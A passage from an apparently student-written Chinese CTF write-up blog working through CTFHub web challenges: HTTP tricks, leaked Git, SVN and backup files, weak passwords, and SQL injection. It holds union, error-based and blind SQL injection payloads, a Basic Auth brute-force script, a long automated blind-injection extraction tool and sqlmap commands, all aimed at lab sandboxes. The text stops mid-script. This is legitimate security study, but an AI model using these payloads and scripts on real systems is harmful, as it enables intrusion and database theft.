背景本部的阮行止学长推荐了ctf web 方向的刷题顺序。这几天太废了,光顾着看JOJO了2333,已经从大乔看到了星辰远征军埃及篇了,今天打算学习学习,不让自己的良心太难受。
Web前置技能 HTTP协议——请求方式这道题很有意思。
题目提示说,只有用CTFHUB这个方法请求,才能获得flag。一般的请求方式有GET和POST等,那如何用这个自定义的CTFHUB来请求呢?我想到了HTTP报文中一般会把方法写在开头,比如以下报文就是GET方式请求的。
我在Burpsuite把GET改成CTFHUB后重新发送请求,就获得了flag。
那这是怎么实现的呢?我猜测大概率是利用PHP中的全局变量$_SERVER['REQUEST_METHOD']
来判断请求方法是什么的。
HTTP协议——302跳转页面有一个按钮,点击后会到达index.php,但是它返回的状态码是302,我们无法看到内容就被重定向到了原本的index.html。
用burpsuite很容易看到302界面的flag。
那php是如何实现这种302界面并且实现跳转的呢?搜索一番资料后我发现这种实现非常简单和优美。
我们利用这个神奇的header函数就能够发送原生的http头从而实现跳转。
效果如下。
HTTP协议——Cookie界面提示只有admin才能获得flag,结合题目cookie,思路很明显。利用burpsuite抓包后发现cookie有admin属性,设置为1之后就能获得flag。
实现也非常简单,用php里的setcookie函数就能够在cookie中设置一个属性,并赋予其默认值。
HTTP协议——基础认证这道题需要用到编写脚本了!果然最近荒废了许多,花了20几分钟才做出这道基础题,险些超时。这道题让我了解了一种http原生的基础认证,状态码是401,需要让用户进行输入用户名和密码进行验证。
抓包后发现WWW-Authenticate
字段中有提示。
很显然用户名就是admin了。那密码是什么呢?该题目提供了一个附件,里面有100个密码,那么密码也知道了。
根据基础认证的流程,用户名和密码经过拼接,再经过base64加密后放在Authentication属性中发送到服务器,服务器对其进行验证。
但是有100个密码,一个个试太麻烦了,遂用python实现。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16 import requests import base64 burp0_url = "http://challenge-76a7f08ebaef75b3.sandbox.ctfhub.com:10800/flag.html" num = 0 with open("10_million_password_list_top_100.txt", "r") as f: for line in f.readlines(): num = num + 1 password = line[:-1] #去掉每行最后的换行符 Authorization = "Basic " + base64.b64encode(("admin:" + password).encode()).decode() burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Authorization": Authorization} response = requests.get(burp0_url, headers=burp0_headers).text if ("ctfhub" in response): print("第", num, "个密码正确,发现flag") print(response) else: print("第", num, "个密码错误,没有找到flag")
代码主题的request部分有burpsuite的插件Copy as Requests
自动生成,然后自己设置了一个变量Authentication,遍历所有的密码。
最终在第84个密码获得了flag。
这次python脚本编写经历,我发现判断一个字符串中是否含有某个字符实际上非常简单,用in谓词即可。
这道题看了官方writeup ,发现burpsuite的Intruder完全可以代替写脚本,只需要导入密码,然后添加前缀admin:
,再最进行base64加密,就可以实现对遍历。
最后老样子,来自己实现一下http的基础认证。
还是很有可玩性的,以后可以试试。
HTTP协议——相应包源代码F12看到flag,蚌埠住了
信息泄露 目录遍历
再/3/1/
下找到flag。
这种apache的文件浏览是怎么做到的呢?
实际上在某个目录下新建一个.htaccess文件,然后写入以下内容,那么该文件夹里的内容都会被列举出来啦。
1 <Files *> Options Indexes </Files>
值得注意的是,html文件点就后会被直接渲染出来,十分有用。以下是test.html
的内容和渲染结果。
PHPINFO这道题太棒了,flag直接藏在phpinfo里面。界面搜索ctfhub
不一会儿就在$_ENV['FLAG']
里找到了flag。
老习惯,自己也来试试吧吧!
比想象的简单,我用的是php:5.6-apache
镜像,只要在docker run 的时候加入环境变量即可在phpinfo中展现出来。所以如果在ctf比赛中出题人在出题时用动态flag,这必将利用到环境变量,如果出题人忘记删除掉环境变量,同时我们能够访问到phpinfo的话,就可以直接得到flag,虽然一般都会把环境变量删掉2333。
以下是docker run语句。
1 docker run -itd --name php -v "/root/tools/html:/var/www/html" -p 10000:80 -e FLAG=flag{wuuconix_yyds!} php:5.6-apache
备份文件下载——网站源码
提示很明显了,故用脚本来判断备份文件到底是什么,利用返回的statau_code是不是404,来判断。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15 import requests head_list = ['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp'] ext_list = ['tar', 'tar.gz', 'zip', 'rar'] for head in head_list: for ext in ext_list: url = "http://challenge-a2c8887aa9929362.sandbox.ctfhub.com:10800/" file = head + "." + ext url += file print("尝试url:", url) res = requests.get(url) if (res.status_code != 404): print(res.text) else: print("返回404")
锁定www.zip,访问网站后会自动下载该压缩包,得到一个文件。
打开后没有flag。
在网页中访问该文件得到flag。
备份文件下载——bak文件
提示flag就在index.php里,index.php会在某些情况下产生出一些备份文件。我对此进行了罗列。
然后利用dirsearch指定这个字典文件,扫描后扫到了index.php.bak
,就是题目2333
访问下载打开后得到flag。
备份文件下载——vim缓存和上题一样,继续使用dirsearch和我罗列的字典。发现.index.php.swp
。这种文件是因为在使用vim编辑过程意外退出产生的,如果继续套娃意外退出,还可能会产生.index.php.swo
和.index.php.swn
。
下载后发现这不是普通的文本文件。vscode打不开。
在ubuntu里用curl -o下载文件,再用vim -r即可。
1 vim -r .index.php.swp
这个vim还挺有趣的,我试了一翻,一开始意外退出是swp
然后再次意外退出是swo
,这个顺序其实是字母表从后往前推进了。注意下图的时间。不知道到了swa之后会不会是swz呀2333。
备份文件下载——.DS_Store
看来这个.DS_Store
是尊贵的Mac OS专享文件。
在ubuntu里curl -o下载文件,发现flag位置。
访问后得到flag。
我发现直接cat 这个文件有些乱码,看了官方的writeup后了解到可以用gehaxelt/Python-dsstore 来看到原本的内容。
使用之后成功得到原始数据。
我在我的ubuntu主机上也找了一下.DS_Store
。发现一些博客插件里也有.DS_Store 2333,估计它们用的都是尊贵的Mac OS进行开发的,羡慕啊。
Git泄露——Log
这道题太妙了,题干中提示了.git泄露,同时提到了一款强大的工具BugScanTeam/GitHack: .git 泄漏利用工具,可还原历史版本 (github.com)
利用这个GitHack工具可以下载到当前的网页源文件和.git文件夹
但是不幸的是,index.html
中没有flag。
我又用vscode的搜索功能在整个文件夹下找ctfhub
,结果也没有发现flag。
我陷入了人生和社会的大思考。
但是我注意到了一个重要信息,这里曾经是有flag的,只不过在某次commit中删除了。
想了一会儿,我突然意识到git这种东西应该是能恢复到之前的某个状态的,因为自己一直没有使用这个功能,也不适用分支这种,便忽略了这个强大的功能。
利用git log
便能看到所有的变化。
然后我们利用git reset --hard commit id
来恢复到某个状态,我们这里就选择刚刚添加flag那个commit。
1 git reset --hard 065ab364a11a0c75abc11340cb882b277827ed02
然后就会发现文件夹下多了个文本文件,里面就是flag啦。
git这种能够回到过去的强大能力让我惊讶,今后也好多多利用好git这个优秀的工具。
Git泄露——Stash查阅了一下资源,git stash是一种将本地项目的状态存储起来的操作,不会上传到github上。
继续用GitHack恢复.git
目录
然后输入git stash list
就能看到所有的stash存储,发现第一个stash@{0}
存储了一个加入flag的状态。
之后利用git stash apply stash@{0}
即可恢复到那一个状态,成功得到flag。
Git泄露——Index说是Index,但是我这里githack一恢复,一ls,就有flag了是怎么回事啊23333。
SVN泄露题干没有给出使用的工具。我根据在github上找了两个工具,一个是svnhack,一个是svnexploit,全部都是只能下载当前的源文件,不给你下载最关键的.svn
文件夹。但是这道题的flag在旧版本中,现在是没有flag文件的。
最终无奈地看了writeup。才知道有一个叫做 kost/dvcs-ripper 的工具。
有了.svn文件夹后,一般来说所有的文件都会在.svn/pristine
有一个备份,包括被删掉的文件。
成功得到flag。
做完后我发现了一个不用这个工具就能得到flag的方法。
所有的备份文件都会在.svn/pristine
这个目录下,然后每个文件比如这个e0a15cc404c2351e8dce038c0c2d1a684419ed1c.svn-base
它就会在.svn/pristine/e0/e0a15cc404c2351e8dce038c0c2d1a684419ed1c.svn-base
,这个e0就是文件的前两位。
所以我们只要知道了e0a15cc404c2351e8dce038c0c2d1a684419ed1c
这一串乱码,我们就能锁定文件。
而这一串乱码可以在.svn/wc.db
中找到。
这里解释一下为什么知道wc.db
,因为是dirsearch扫到的,所以我就去看了一眼。
这里就有两个乱码,分别对应flag文件和index.html。
最后吐槽一波admintony/svnExploit ,为什么不把svn文件也一起下载下来 。还有明明已经发现flag文件了,却不给出checksum,这个checksum明明能够通过wc.db获得的。
功能完善一下不秒杀这个 kost/dvcs-ripper ?
已经在项目下提了一个Issue ,让我们坐等作者更新2333。
HG泄露
查阅了一下资料,发现hg泄露也可以用昨天那个软件kost/dvcs-ripper 。但是貌似不好使,也不知道出了什么问题。
没法,便用dirsearch扫了一下。
把几个可访问的文件都下载后,在/.hg/store/undo
后发现了flag文件。
访问后成功得到flag。
这道题告诉我们不能迷信工具,还得手工尝试。
佛了,做完后才发现那个工具是出结果了的,但是在命令返回结果全是404搞得好像什么都没出,大意了,下次应该用-o
指定输出目录。
密码口令 弱口令前几天被vaala称为弱密码带师,结果被这道题卡住了。
跑了半天,用了好多字典,都不行。无奈看writeup。最后得知密码是admin123。
再看了看我的拥有19576个密码的密码字典。
留下了眼泪。
默认口令这里让你找亿邮邮件网关的默认口令。滑稽的是,现在查亿邮邮件网关默认口令,查到的却全是ctfhub这道题的writeup。真正的信息来源已经被淹没了。
测试之后是第二个。
SQL注入 整数型注入
题目给出了完整的sql语句。select * 后页面返回了两个值,一个是ID。一个是Data。
1 1 or 1=1 order by 3
发现order by 3就不能正常显示了,说明一共就两个字段。我们也有充分的理由怀疑,这两列的字段分别为Id和Data。
接下来我们需要利用union select来爆信息。union select 的字段的个数需要和主select的个数一直,也就是两个。
然后如果你这样填。
1 1 or 1=1 union select database(), 2
你会发现你得不到你想要的数据,页面只会显示主select查询到第一行的数据。
所以我们需要让主select查询不到任何东西,而只显示我们select查询到的东西。
很显然这样就行了。
1 1 and 1=2 union select database(), 2
之后就是基本操作。
1 1 and 1=2 union select group_concat(table_name), 2 from information_schema.tables where table_schema='sqli'
锁定flag表。
1 1 and 1=2 union select group_concat(column_name), 2 from information_schema.columns where table_name='flag'
锁定flag表中的flag列。
进行查询。
1 1 and 1=2 union select flag, 2 from flag
不得不说,上学期学习了数据库之后对SQL的理解加深了许多,这道题很快做出来。
ctfhub的sql注入也非常友善,把完整的sql语句给出来了,非常适合新手来进行学习。
字符型注入和上一篇整形注入几乎一致,但是这里有了引号,首先利用引号闭合,之后还需要利用注释符#
还使原来的右引号失效。
1 1' and 1=2 union select database(), 2#
1 1' and 1=2 union select 2, group_concat(table_name) from information_schema.tables where table_schema = 'sqli'#
1 1' and 1=2 union select 2, group_concat(column_name) from information_schema.columns where table_name = 'flag'#
1 1' and 1=2 union select 2, flag from flag#
报错注入利用extracvalue来xpath报错。
1 1 and (select extractvalue(1, concat(0x7e, (select database()))))
1 1 and (select extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema= 'sqli'))))
1 1 and (select extractvalue(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name= 'flag'))))
1 1 and (select extractvalue(1, concat(0x7e, (select flag from flag))))
利用updatexml来xpath报错。
1 1 and (select updatexml(1, (concat (0x7e, (select database()))),1))
1 1 and (select updatexml(1, (concat (0x7e, (select group_concat(table_name) from information_schema.tables where table_schema='sqli'))),1))
1 1 and (select updatexml(1, (concat (0x7e, (select group_concat(column_name) from information_schema.columns where table_name='flag'))),1))
1 1 and (select updatexml(1, concat(0x7e, (select flag from flag)), 1))
利用floor来group by主键重复报错。
1 1 union select count(*), concat((select database()), floor(rand(0)*2)) x from news group by x
1 1 union select count(*), concat((select table_name from information_schema.tables where table_schema='sqli' limit 1,1), floor(rand(0)*2)) x from news group by x
注:图中有错误,在limit那里,正确的用法如上。
1 1 union select count(*), concat((select column_name from information_schema.columns where table_name='flag' limit 0,1), floor(rand(0)*2)) x from news group by x
1 1 union select count(*), concat((select flag from flag limit 0,1), floor(rand(0)*2)) x from news group by x
在30分钟里用三种方法报错注入得到flag,顺便写出writeup,感觉蛮快了2333。
extractvalue和updatexml用起来没什么问题,很顺利。
突然发现用这两个函数得到的flag是不完整的。这两个函数的返回值最多只有32个字符。这里和最终的flag少了一个右大括号。
以后遇到这种问题再用一下right()
获取右边的值即可。
用group by的时候问题很大,首先它貌似只试用于mysql 5.x的版本,以至于我在本地最新mysql版本上复现出来。关于这个问题在 csdn上 写了一篇博客 。
然后我发现用这个group by来报错的时候不能用爆表和爆字段的时候不能用group_concat
。但是我在本地测试的时候又可以,很奇怪,感觉是题目的锅。
但是没关系,不用group_concat就手动一个个查,利用limit来控制。
limit的第一个值表示从 第几行开始,第二个值表示从开始的行取几行。
布尔盲注布尔盲注使用场景的特征十分明显,即界面不会给出查询的具体结果,也不会给你报错信息。而只会告诉你查询成功还是查询失败。
这就需要我们去利用一些神奇的函数比如substr
,ascii
,length
来猜测。
猜测什么呢?首先猜测数据库的长度,知道了长度,就去猜数据库每个字符。知道了数据库,就去猜数据表的个数,表名长度,具体表名等等等等。也就是所有的一切都是你需要用上面的函数来猜出来的。
如果手工来实现这一过程,就会变得非常繁琐,这里我花了一个下午的时间写了一个盲注的脚本。
运行过程十分舒适和人性化。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277 import requests from urllib.parse import quote success_flag = "query_success" #成功查询到内容的关键字 base_url = "http://challenge-d41158772186d1b6.sandbox.ctfhub.com:10800/?id=" headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"} def get_database_length(): global success_flag, base_url, headers, cookies length = 1 while (1): id = "1 and length(database()) = " + str(length) url = base_url + quote(id) #很重要,因为id中有许多特殊字符,比如#,需要进行url编码 response = requests.get(url, headers=headers).text if (success_flag not in response): print("database length", length, "failed!") length+=1 else: print("database length", length, "success") print("payload:", id) break print("数据库名的长度为", length) return length def get_database(database_length): global success_flag, base_url, headers, cookies database = "" for i in range(1, database_length + 1): l, r = 0, 127 #神奇的申明方法 while (1): ascii = (l + r) // 2 id_equal = "1 and ascii(substr(database(), " + str(i) + ", 1)) = " + str(ascii) response = requests.get(base_url + quote(id_equal), headers=headers).text if (success_flag in response): database += chr(ascii) print ("目前已知数据库名", database) break else: id_bigger = "1 and ascii(substr(database(), " + str(i) + ", 1)) > " + str(ascii) response = requests.get(base_url + quote(id_bigger), headers=headers).text if (success_flag in response): l = ascii + 1 else: r = ascii - 1 print("数据库名为", database) return database def get_table_num(database): global success_flag, base_url, headers, cookies num = 1 while (1): id = "1 and (select count(table_name) from information_schema.tables where table_schema = '" + database + "') = " + str(num) response = requests.get(base_url + quote(id), headers=headers).text if (success_flag in response): print("payload:", id) print("数据库中有", num, "个表") break else: num += 1 return num def get_table_length(index, database): global success_flag, base_url, headers, cookies length = 1 while (1): id = "1 and (select length(table_name) from information_schema.tables where table_schema = '" + database + "' limit " + str(index) + ", 1) = " + str(length) response = requests.get(base_url + quote(id), headers=headers).text if (success_flag not in response): print("table length", length, "failed!") length+=1 else: print("table length", length, "success") print("payload:", id) break print("数据表名的长度为", length) return length def get_table(index, table_length, database): global success_flag, base_url, headers, cookies table = "" for i in range(1, table_length + 1): l, r = 0, 127 #神奇的申明方法 while (1): ascii = (l + r) // 2 id_equal = "1 and (select ascii(substr(table_name, " + str(i) + ", 1)) from information_schema.tables where table_schema = '" + database + "' limit " + str(index) + ",1) = " + str(ascii) response = requests.get(base_url + quote(id_equal), headers=headers).text if (success_flag in response): table += chr(ascii) print ("目前已知数据库名", table) break else: id_bigger = "1 and (select ascii(substr(table_name, " + str(i) + ", 1)) from information_schema.tables where table_schema = '" + database + "' limit " + str(index) + ",1) > " + str(ascii) response = requests.get(base_url + quote(id_bigger), headers=headers).text if (success_flag in response): l = ascii + 1 else: r = ascii - 1 print("数据表名为", table) return table def get_column_num(table): global success_flag, base_url, headers, cookies num = 1 while (1): id = "1 and (select count(column_name) from information_schema.columns where table_name = '" + table + "') = " + str(num) response = requests.get(base_url + quote(id), headers=headers).text if (success_flag in response): print("payload:", id) print("数据表", table, "中有", num, "个字段") break else: num += 1 return num def get_column_length(index, table): global success_flag, base_url, headers, cookies length = 1 while (1): id = "1 and (select length(column_name) from information_schema.columns where table_name = '" + table + "' limit " + str(index) + ", 1) = " + str(length) response = requests.get(base_url + quote(id), headers=headers).text if (success_flag not in response): print("column length", length, "failed!") length+=1 else: print("column length", length, "success") print("payload:", id) break print("数据表", table, "第", index, "个字段的长度为", length) return length def get_column(index, column_length, table): global success_flag, base_url, headers, cookies column = "" for i in range(1, column_length + 1): l, r = 0, 127 #神奇的申明方法 while (1): ascii = (l + r) // 2 id_equal = "1 and (select ascii(substr(column_name, " + str(i) + ", 1)) from information_schema.columns where table_name = '" + table + "' limit " + str(index) + ",1) = " + str(ascii) response = requests.get(base_url + quote(id_equal), headers=headers).text if (success_flag in response): column += chr(ascii) print ("目前已知字段为", column) break else: id_bigger = "1 and (select ascii(substr(column_name, " + str(i) + ", 1)) from information_schema.columns where table_name = '" + table + "' limit " + str(index) + ",1) > " + str(ascii) response = requests.get(base_url + quote(id_bigger), headers=headers).text if (success_flag in response): l = ascii + 1 else: r = ascii - 1 print("数据表", table, "第", index, "个字段名为", column) return column def get_flag_num(column, table): global success_flag, base_url, headers, cookies num = 1 while (1): id = "1 and (select count(" + column + ") from " + table + ") = " + str(num) response = requests.get(base_url + quote(id), headers=headers).text if (success_flag in response): print("payload:", id) print("数据表", table, "中有", num, "行数据") break else: num += 1 return num def get_flag_length(index, column, table): global success_flag, base_url, headers, cookies length = 1 while (1): id = "1 and (select length(" + column + ") from " + table + " limit " + str(index) + ", 1) = " + str(length) response = requests.get(base_url + quote(id), headers=headers).text if (success_flag not in response): print("flag length", length, "failed!") length+=1 else: print("flag length", length, "success") print("payload:", id) break print("数据表", table, "第", index, "行数据的长度为", length) return length def get_flag(index, flag_length, column, table): global success_flag, base_url, headers, cookies flag = "" for i in range(1, flag_length + 1): l, r = 0, 127 #神奇的申明方法 while (1): ascii = (l + r) // 2 id_equal = "1 and (select ascii(substr(" + column + ", " + str(i) + ", 1)) from " + table + " limit " + str(index) + ",1) = " + str(ascii) response = requests.get(base_url + quote(id_equal), headers=headers).text if (success_flag in response): flag += chr(ascii) print ("目前已知flag为", flag) break else: id_bigger = "1 and (select ascii(substr(" + column + ", " + str(i) + ", 1)) from " + table + " limit " + str(index) + ",1) > " + str(ascii) response = requests.get(base_url + quote(id_bigger), headers=headers).text if (success_flag in response): l = ascii + 1 else: r = ascii - 1 print("数据表", table, "第", index, "行数据为", flag) return flag if __name__ == "__main__": print("---------------------") print("开始获取数据库名长度") database_length = get_database_length() print("---------------------") print("开始获取数据库名") database = get_database(database_length) print("---------------------") print("开始获取数据表的个数") table_num = get_table_num(database) tables = [] print("---------------------") for i in range(0, table_num): print("开始获取第", i + 1, "个数据表的名称的长度") table_length = get_table_length(i, database) print("---------------------") print("开始获取第", i + 1, "个数据表的名称") table = get_table(i, table_length, database) tables.append(table) while(1): #在这个循环中可以进入所有的数据表一探究竟 print("---------------------") print("现在得到了以下数据表", tables) table = input("请在这些数据表中选择一个目标: ") while( table not in tables ): print("你输入有误") table = input("请重新选择一个目标") print("---------------------") print("选择成功,开始获取数据表", table, "的字段数量") column_num = get_column_num(table) columns = [] print("---------------------") for i in range(0, column_num): print("开始获取数据表", table, "第", i + 1, "个字段名称的长度") column_length = get_column_length(i, table) print("---------------------") print("开始获取数据表", table, "第", i + 1, "个字段的名称") column = get_column(i, column_length, table) columns.append(column) while(1): #在这个循环中可以获取当前选择数据表的所有字段记录 print("---------------------") print("现在得到了数据表", table, "中的以下字段", columns) column = input("请在这些字段中选择一个目标: ") while( column not in columns ): print("你输入有误") column = input("请重新选择一个目标") print("---------------------") print("选择成功,开始获取数据表", table, "的记录数量") flag_num = get_flag_num(column, table) flags = [] print("---------------------") for i in range(0, flag_num): print("开始获取数据表", table, "的", column, "字段的第", i + 1, "行记录的长度") flag_length = get_flag_length(i, column, table) print("---------------------") print("开始获取数据表", table, "的", column, "字段的第", i + 1, "行记录的内容") flag = get_flag(i, flag_length, column, table) flags.append(flag) print("---------------------") print("现在得到了数据表", table, "中", column, "字段中的以下记录", flags) quit = input("继续切换字段吗?(y/n)") if (quit == 'n' or quit == 'N'): break else: continue quit = input("继续切换数据表名吗?(y/n)") if (quit == 'n' or quit == 'N'): break else: continue print("bye~")
先给出github地址。
wuuconix/SQL-Blind-Injection-Auto: 自己写的SQL盲注自动化脚本 (github.com)
最后在给出演示视频。
时间盲注时间盲注和上一篇布尔盲注一样都是盲注,都需要借助length
,ascii
,substr
这些神奇的函数来猜测各项信息。它们的差别是猜测成功的依据。
布尔盲注的话如果查询有结果,一般会有一个success_flag
,比如在上一题里就会返回query successfully
。我的脚本也就是request返回值里有没有这个文本来判断是否查询成功的。
但是时间盲注不一样,它不光不给你查询的内容的回显,不给你报错信息,甚至连布尔盲注里的success_flag
也不给你。也就是什么情况呢?你在那里查询,它什么信息都不给你,也就是所谓的无回显
。我以前认为无回显是根本不可能做出来的。但是时间盲注让我打开眼界。
时间盲注相当于自行创造出了一个success_flag
,将查询成功的情况与查询失败的情况做了区分。以此区别作为依据,我们便可以进行猜测,盲注。
这个区别是这样产生的。主要利用了mysql中的if
函数和sleep
函数。我们看下面一条语句。
1 1 and if(1=1, 1, sleep(2))
if函数的第一个参数是一条判断语句,1=1
为真,所以if函数会返回第二个参数即1
。即
1 1 and 1
这很显然会正常返回结果。
那如果把if的第一个参数改变一下呢?
1 1 and if(1=2, 1, sleep(2))
第一个参数是false,if函数会返回第二个参数sleep(2)
,这会让这个查询语句睡眠两秒,再返回结果。
同时由于这个sleep函数本身的返回值是0,即false。
故那条语句的结果将会返回空。
同时我们的脚本还需要对这个睡眠2秒进行识别,因为sql查询语句睡眠了两秒,那么php也会跟着等,整个页面将会进入等待而迟迟不给出相应,我们的request就需要根据相应给出的时间来得到这个success_flag
。
这样即可,在get请求中写一个timeout
参数
1 requests.get(url, headers=headers, timeout=1)
如果在1s钟内服务器没有返回信息,那么request就会报错。
然后我们就可以用异常捕捉语句来捕捉这个报错,从而根据有没有报错来判断我们需要判断的信息是否正确。
时间盲注的脚本已经更新到github ,这里就不写了,太长了。
实际上也就是在昨天脚本的基础上套上了一层if,然后把success_flag
换成了异常处理。
Cookie注入Cookie注入界面一般不会给你输入框,类似这道题目。
它的注入点存在于Cookie之中。这是Burp抓包的结果。
那就很简单了,我们还是利用那个强大的插件,Copy as requests,把请求转化为python中的request代码。之后改一下id的值就行。因为这道题是有回显的,所以用最基本的联合注入即可,要是Cookie配合上时间盲注就有意思了2333。
1
2
3
4
5
6
7
8
9
10 import requests # id = "1 and 1=2 union select database(), 1" #爆库 # id = "1 and 1=2 union select group_concat(table_name), 1 from information_schema.tables where table_schema = 'sqli'" #爆表 # id = "1 and 1=2 union select group_concat(column_name), 1 from information_schema.columns where table_name = 'fwtzeovuem'" #爆字段 id = "1 and 1=2 union select rzahbuabdf, 1 from fwtzeovuem" #get flag burp0_url = "http://challenge-498ee75cbbb367a1.sandbox.ctfhub.com:10800/" burp0_cookies = {"id": id, "hint": "id%E8%BE%93%E5%85%A51%E8%AF%95%E8%AF%95%EF%BC%9F"} burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Cache-Control": "max-age=0"} print(requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies).text)
因为这道题比较简单,我还试了一下sqlmap
。这次总算不是日常坚不可摧
了。成功得到了flag。
1 python3 sqlmap.py -u "http://challenge-498ee75cbbb367a1.sandbox.ctfhub.com:10800" --cookie "id=1" --level 2 -D sqli -T fwtzeovuem -C rzahbuabdf --dump
UA注入UA注入和Cookie类似,只是换了个注入位置。基于的还是最基础的Union注入。
1
2
3
4
5
6
7
8
9 import requests burp0_url = "http://challenge-c1afe7c2c2a76623.sandbox.ctfhub.com:10800/" # UA = "1 and 1=2 union select 1, database()" # UA = "1 and 1=2 union select 1, group_concat(table_name) from information_schema.tables where table_schema='sqli'" # UA = "1 and 1=2 union select 1, group_concat(column_name) from information_schema.columns where table_name='cqomjcukck'" UA = "1 and 1=2 union select 1, ycrtshvcir from cqomjcukck" burp0_headers = {"User-Agent": UA, "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"} print(requests.get(burp0_url, headers=burp0_headers).text)
照例,还是试了一下sqlmap,我才发现sqlmap原来这么好用。
1 python3 sqlmap.py -u "http://challenge-c1afe7c2c2a76623.sandbox.ctfhub.com:10800/" --level 3
只是设置了level为3,其他什么都不给。结果一上来就提示UA是动态的,可注入。
它提示在UA这个参数这里有两种可能的注入,一种是时间盲注,一种是union联合注入,还都出了payload。
这确实非常强。为什么这里时间盲注也可以呢?这相当于不看页面的回显,直接用响应时间来判断,这么想来是不是大部分的sql注入都适合时间盲注2333。
当然自己注入的话,肯定会选择十分简单的union联合注入。
1 python3 sqlmap.py -u "http://challenge-c1afe7c2c2a76623.sandbox.ctfhub.com:10800/" --level 3 -D sqli -T cqomjcukck --columns
而且sqlmap有一个非常牛逼的点,它每次运行完都会把该网站的结果存在某个文件中,下次深入获得信息的时候会直接从文件中读取之前取得的成果,而不用从头开始,这大大提高了效率。
Refer注入和Cookie注入和UA注入类似,不多说了,只是换了一个地方。
1
2
3
4
5
6
7
8
9
10 import requests burp0_url = "http://challenge-49bfa8cdc6c5744d.sandbox.ctfhub.com:10800/" # referer = "1 and 1=2 union select 1, database()" # referer = "1 and 1=2 union select 1, group_concat(table_name) from information_schema.tables where table_schema = 'sqli'" # referer = "1 and 1=2 union select 1, group_concat(column_name) from information_schema.columns where table_name = 'sngrgwaxpk'" referer = "1 and 1=2 union select 1, lwwwrezxpx from sngrgwaxpk" burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Referer": referer} print(requests.get(burp0_url, headers=burp0_headers).text)
这道题貌似sqlmap就不太好使了。
1 python3 sqlmap.py -u http://challenge-49bfa8cdc6c5744d.sandbox.ctfhub.com:10800/ --level 3
它发现了Referer是脆弱的,但是只检查出了时间盲注,没有检查出union注入。之后的时间盲注也一直失败。
当然也可能是我在中途选则选项的时候没有选好2333。
过滤空格这道题过滤了空格,可以用注释符/**/
来代替空格。
1
2
3
4
5
6
7
8
9 import requests from urllib.parse import quote burp0_url = "http://challenge-b018c199badc637a.sandbox.ctfhub.com:10800/?id=" # id = "1/**/and/**/1=2/**/union/**/select/**/1,database()" # id = "1/**/and/**/1=2/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/=/**/'sqli'" # id = "1/**/and/**/1=2/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/=/**/'lsoupzeglx'" id = "1/**/and/**/1=2/**/union/**/select/**/1,pqmtlqzjwp/**/from/**/lsoupzeglx" burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Referer": 